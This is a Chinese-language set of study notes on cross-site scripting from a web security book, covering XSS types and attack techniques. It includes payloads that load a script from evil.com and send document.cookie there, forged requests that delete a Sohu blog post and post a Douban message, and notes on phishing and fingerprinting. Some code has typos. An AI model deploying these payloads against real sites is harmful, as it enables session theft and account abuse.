白帽子講web安全筆記——XSS(一)
阿新 • • 發佈:2018-12-11
XSS 跨站指令碼攻擊
三種類型:1.反射型:簡單的把使用者輸入的資料“反射”給瀏覽器
2.儲存型:把使用者輸入的資料“儲存”在伺服器端 具有很強的穩定性
3.DOM Based:修改頁面的DOM節點形成的
XSS攻擊:
Cookie劫持
先載入一個遠端指令碼
<script src=http://www.evil.com/evil.js></script>
在evil.js中,通過程式碼竊取Cookie
var img = document.createElement("img"); img.src = "http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img);
構造GET和POST請求
刪除搜狐部落格
var img = document.creatElement("img");
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=1556713012";
document.body.appendChild(img);
豆瓣發出新訊息 、
var dd = document.creatElement("div"); document.body.appendChild(dd); dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform">'+ '<input type="hidden" value="JiUY" name="ck" />'+ '<input type="text" value="testtesttest" name="mb_text" />'+ '</form>' document.getElementById("xssform".submit();
我們可以看到使用javascript模擬瀏覽器發包並不是一件困難的事。
XSS釣魚
利用JavaScript在當前頁面上“畫出”一個偽造的登入框。
識別使用者瀏覽器
alert(navigator.userAgent);
識別使用者安裝的軟體
在IE中通過判斷ActiveX控制元件的classid是否存在,來推測使用者是否安裝了該軟體。
一些第三方軟體也可能會洩露一些資訊。比如Flash有一個system.capabilities物件,能夠查詢客戶端電腦中的硬體資訊。
瀏覽器的擴充套件和外掛也能被XSS Payload掃描出來。
Firefox 的外掛列表放在一個DOM物件中,通過查詢DOM可以遍歷出所有外掛。
Firefox的擴充套件,可以在JavaScript中載入擴充套件圖示,載入成功,則擴充套件存在。
CSS History Hack
利用style的vistied屬性——如果使用者曾經訪問過某個連結,那麼這個連結的顏色會變得與眾不同。
獲取使用者的真實ip地址
XSS攻擊平臺:
Attack API、BeEF、XSS-Proxy
XSS終極武器 XSS Worm
除錯JavaScript
Firebug、IE 8 Developer Tools、Fiddler、HttpWatch